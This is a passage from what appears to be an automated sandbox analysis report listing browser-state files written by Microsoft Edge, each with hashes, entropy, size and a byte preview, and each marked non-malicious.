Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188881
Entropy (8bit):	6.385997688924716
Encrypted:	false
SSDEEP:	3072:SUH2hrQQW8wjp3mU7UL/7hMo3CidBLNgBmv1NU:p8wEU4L/NjnBpXNW
MD5:	DEF69E29FC8BBAED9C27D7751A858142
SHA1:	F3D0AE91316779057A54A55B878F36626F683B94
SHA-256:	15B72E4D34C2F1C19EEB7E3806F31F14FAB44B72B645990999A28ACB954BA644
SHA-512:	F63969D0899DF8EA40E30F2A22A4A188B802D39A9AB40893B66FECA145F9B7F35C3BFDFA34D798374E3BDF53095E14950DD3E29EF9B5541D1A067DC6EB8CCFA1
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.x........,T.8..`,.....L`.....,T...`......L`......Rc.M\.....exports...Rc.4.....module....Rc.9.....define....Rb...!....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.b.N.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:WW7FQyXl/ly/l9/lxE0tlla/lByFl:WSNmO0gkl
MD5:	7B78856D975EEFB8509508495015A42F
SHA1:	229E044202DCEA1BAB971852EE19C1793B6DCAA8
SHA-256:	95FEC12E6CBAFEC9D2F0AB09D6686DCC076D465CF8A10B42CAB55A90A8D70BBE
SHA-512:	DB06015D4A0ACD8EC9675951D4B637E9189F1A43D54F6C52BF9EBF42103715760D29BBE6D4B638876FBFEF4C902A27EE214274FE1949C722D0D1BE4DEA3437A5
Malicious:	false
Preview:	@......`oy retne.........................X....,................~#s.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:WW7FQyXl/ly/l9/lxE0tlla/lByFl:WSNmO0gkl
MD5:	7B78856D975EEFB8509508495015A42F
SHA1:	229E044202DCEA1BAB971852EE19C1793B6DCAA8
SHA-256:	95FEC12E6CBAFEC9D2F0AB09D6686DCC076D465CF8A10B42CAB55A90A8D70BBE
SHA-512:	DB06015D4A0ACD8EC9675951D4B637E9189F1A43D54F6C52BF9EBF42103715760D29BBE6D4B638876FBFEF4C902A27EE214274FE1949C722D0D1BE4DEA3437A5
Malicious:	false
Preview:	@......`oy retne.........................X....,................~#s.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF40d1c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:WW7FQyXl/ly/l9/lxE0tlla/lByFl:WSNmO0gkl
MD5:	7B78856D975EEFB8509508495015A42F
SHA1:	229E044202DCEA1BAB971852EE19C1793B6DCAA8
SHA-256:	95FEC12E6CBAFEC9D2F0AB09D6686DCC076D465CF8A10B42CAB55A90A8D70BBE
SHA-512:	DB06015D4A0ACD8EC9675951D4B637E9189F1A43D54F6C52BF9EBF42103715760D29BBE6D4B638876FBFEF4C902A27EE214274FE1949C722D0D1BE4DEA3437A5
Malicious:	false
Preview:	@......`oy retne.........................X....,................~#s.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6609
Entropy (8bit):	3.3782082715246835
Encrypted:	false
SSDEEP:	192:GAs2LiNt0Y10G9X3+PKi3Wp5SLl9iSrYmy:GAs2u0Y1/9X3+SFp5SLl9iSrd
MD5:	EC79D32120E8912D48390B990D11883F
SHA1:	7316BC6B84EE3A7A87BEE40787269DB12B240AFC
SHA-256:	3723361DAC358E5508E91A11AACD36E0D540A2FB22A6340E4C85389A4DC6417C
SHA-512:	BFCA92BA10DF7358025B230DB59C1D0A6BAC7BE1FE67757FCF59F2F66F48FD3FAB21E3133C8C7C2A4D937E5EAAE9738CD230CB17151326DDBA0829063A8482A4
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................].b................next-map-id.1.Cnamespace-54f41ae9_1b77_457e_8136_2ba1cb936a01-https://ntp.msn.com/.0.C#..................map-0-shd_sweeper.0{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.a.d.s.-.f.l.r.m.g.p.-.b.a.s.e.-.c.,.p.r.g.-.1.s.-.d.w.v.i.d.-.c.t.r.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.,.1.s.-.a.c.t.n.t.h.i.s.d.a.y.,.p.r.g.-.1.s.w.-.o.t.d.s.g.p.r.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.q.o.o.m.i.t.e.r.1.1.c.,.p.r.g.-.1.s.w.-.s.a.u.i.e.-.c.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.-.s.k.a.b.w.e.i.g.h.t.c.t.r.l.,.p.r.e.p.r.g.-.1.s.w.-.s.a.l.3.f.c.t.b.c.,.p.r.g.-.1.s.w.-.b.g.a.b.r.t.p.g.-.r.,.p.r.g.-.1.s.w.-.r.e.v._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.r.e.v._.b.g._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.087711943887686
Encrypted:	false
SSDEEP:	6:HvOq2P923oH+TcwtrQMxIFUt8YqZmw+YvQkwO923oH+TcwtrQMFLJ:POv4YebCFUt8h/+F5LYebtJ
MD5:	12CED5C0A64CAE612B1151A9E0BD51D6
SHA1:	B4517C64326599805CF290BFDDADBA9A37EB0248
SHA-256:	54707DFB69DF2A96DF6D323ED14590433CB6EB756E19AFE10B9DC64A44C4B613
SHA-512:	47182CAEFE7C4EE1768F1AED600963DC804BD717FC487B9AC826FBB570C5B94AB6B5FBDDC4A5AABDBFEB920AC82FC0447C20D50DEBFA61D3F7D5C055537ECE3E
Malicious:	false
Preview:	2024/11/22-17:06:23.614 1d00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-17:06:23.617 1d00 Recovering log #3.2024/11/22-17:06:23.624 1d00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.087711943887686
Encrypted:	false
SSDEEP:	6:HvOq2P923oH+TcwtrQMxIFUt8YqZmw+YvQkwO923oH+TcwtrQMFLJ:POv4YebCFUt8h/+F5LYebtJ
MD5:	12CED5C0A64CAE612B1151A9E0BD51D6
SHA1:	B4517C64326599805CF290BFDDADBA9A37EB0248
SHA-256:	54707DFB69DF2A96DF6D323ED14590433CB6EB756E19AFE10B9DC64A44C4B613
SHA-512:	47182CAEFE7C4EE1768F1AED600963DC804BD717FC487B9AC826FBB570C5B94AB6B5FBDDC4A5AABDBFEB920AC82FC0447C20D50DEBFA61D3F7D5C055537ECE3E
Malicious:	false
Preview:	2024/11/22-17:06:23.614 1d00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-17:06:23.617 1d00 Recovering log #3.2024/11/22-17:06:23.624 1d00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376786785330955

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8567008149046726
Encrypted:	false
SSDEEP:	24:30277q9XRyeuTpsAF4unxStLp3X2amEtG1ChquQrmozuAQKkOAM4:30p9hyTzFULp2FEkChc9uRHOp
MD5:	26F747E765BBFCD95CA221B40D53BCCF
SHA1:	F8397AF53FEB4FC6B671B61458B414E0667FF5EE
SHA-256:	4B03F12E9793CEB896304FC0E975E3FDA600B31FB026E59C0B48F4DF18D2B100
SHA-512:	0B9C55F2F3283E117ABC42B3C55888999D0B893C503B4A4BF02B83A3598F2306E57082DFC74D2A62EE81E7629411FF88CF5BA4AD7DECADAE9E8919062C436759
Malicious:	false
Preview:	SNSS........O.<............O.<......".O.<............O.<........O.<........O.<........O.<....!...O.<................................O.<.O.<1..,....O.<$...54f41ae9_1b77_457e_8136_2ba1cb936a01....O.<........O.<................O.<....O.<........................O.<....................5..0....O.<&...{98952893-68FF-4A5D-A164-705C709ED3DB}......O.<........O.<...........................O.<............O.<........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........%...'...%...'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.118388679704543
Encrypted:	false
SSDEEP:	6:HCuGGN9+q2P923oH+Tcwt7Uh2ghZIFUt8Y4GSJZmw+Y4GS9VkwO923oH+Tcwt7UT:jGE9+v4YebIhHh2FUt8ISJ/+IS9V5LYz
MD5:	DD033A1BB86BB9B76E800600E776EF9A
SHA1:	CB2468511905ACAF9C2148D10894529A8238364C
SHA-256:	2B83BE7A1E843676DEBFC8071B712EF4298805E8392158E9DD862B894C92F9D6
SHA-512:	1AB889A84822DB2CA17A5DA34CFDEDC19B9BCB1ACD33285A54803D81AB1942A3F9D7E6ADA2AB291B7DCB512BA2A180823FAFED8A26D261A46B7A5F31FA0E8967
Malicious:	false
Preview:	2024/11/22-17:06:22.925 1c4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-17:06:22.926 1c4c Recovering log #3.2024/11/22-17:06:22.926 1c4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.118388679704543
Encrypted:	false
SSDEEP:	6:HCuGGN9+q2P923oH+Tcwt7Uh2ghZIFUt8Y4GSJZmw+Y4GS9VkwO923oH+Tcwt7UT:jGE9+v4YebIhHh2FUt8ISJ/+IS9V5LYz
MD5:	DD033A1BB86BB9B76E800600E776EF9A
SHA1:	CB2468511905ACAF9C2148D10894529A8238364C
SHA-256:	2B83BE7A1E843676DEBFC8071B712EF4298805E8392158E9DD862B894C92F9D6
SHA-512:	1AB889A84822DB2CA17A5DA34CFDEDC19B9BCB1ACD33285A54803D81AB1942A3F9D7E6ADA2AB291B7DCB512BA2A180823FAFED8A26D261A46B7A5F31FA0E8967
Malicious:	false
Preview:	2024/11/22-17:06:22.925 1c4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-17:06:22.926 1c4c Recovering log #3.2024/11/22-17:06:22.926 1c4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.2090929020172405
Encrypted:	false
SSDEEP:	6:HrlGkQ+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8YrYdWZmw+YrzGkQVkwO923oH+w:2+v4YebvqBQFUt8XW/+5RV5LYebvqBvJ
MD5:	A9307688E8B72C6457C7E7303400D689
SHA1:	18CBA1F1FA6B79A4A69D4CE15D527C63141AB9D8
SHA-256:	B5FB96E0FDEA2025D1F4DB137DCE4DF8879E9DCD8BBEC68B686FBF4AA657B441
SHA-512:	5DDC83063BF510404DE6D706DDDDCF18BCCCF59F98C58F0E372319E81A55223B70E743141D39F9667CDF668DB1344F86832FDB94EAC2BA6575213D95F4667E39
Malicious:	false
Preview:	2024/11/22-17:06:23.661 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-17:06:23.664 1c3c Recovering log #3.2024/11/22-17:06:23.667 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.2090929020172405
Encrypted:	false
SSDEEP:	6:HrlGkQ+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8YrYdWZmw+YrzGkQVkwO923oH+w:2+v4YebvqBQFUt8XW/+5RV5LYebvqBvJ
MD5:	A9307688E8B72C6457C7E7303400D689
SHA1:	18CBA1F1FA6B79A4A69D4CE15D527C63141AB9D8
SHA-256:	B5FB96E0FDEA2025D1F4DB137DCE4DF8879E9DCD8BBEC68B686FBF4AA657B441
SHA-512:	5DDC83063BF510404DE6D706DDDDCF18BCCCF59F98C58F0E372319E81A55223B70E743141D39F9667CDF668DB1344F86832FDB94EAC2BA6575213D95F4667E39
Malicious:	false
Preview:	2024/11/22-17:06:23.661 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-17:06:23.664 1c3c Recovering log #3.2024/11/22-17:06:23.667 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3a6d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b93719a0-dd9d-4075-9161-7591bdc82327.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\efb8317d-ddfb-44e5-81df-be7465976401.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f705071f-18cc-4a40-b27d-c2d806188f13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.213305052180817
Encrypted:	false
SSDEEP:	12:7cfv4YebvqBZFUt8IcB/+IcS5LYebvqBaJ:Yn4Yebvyg8h6cLYebvL
MD5:	421835D63A1DE9F21127C4523BD20118
SHA1:	2F31F9655239FFBC1DA3F8921EA596F84EE8E500
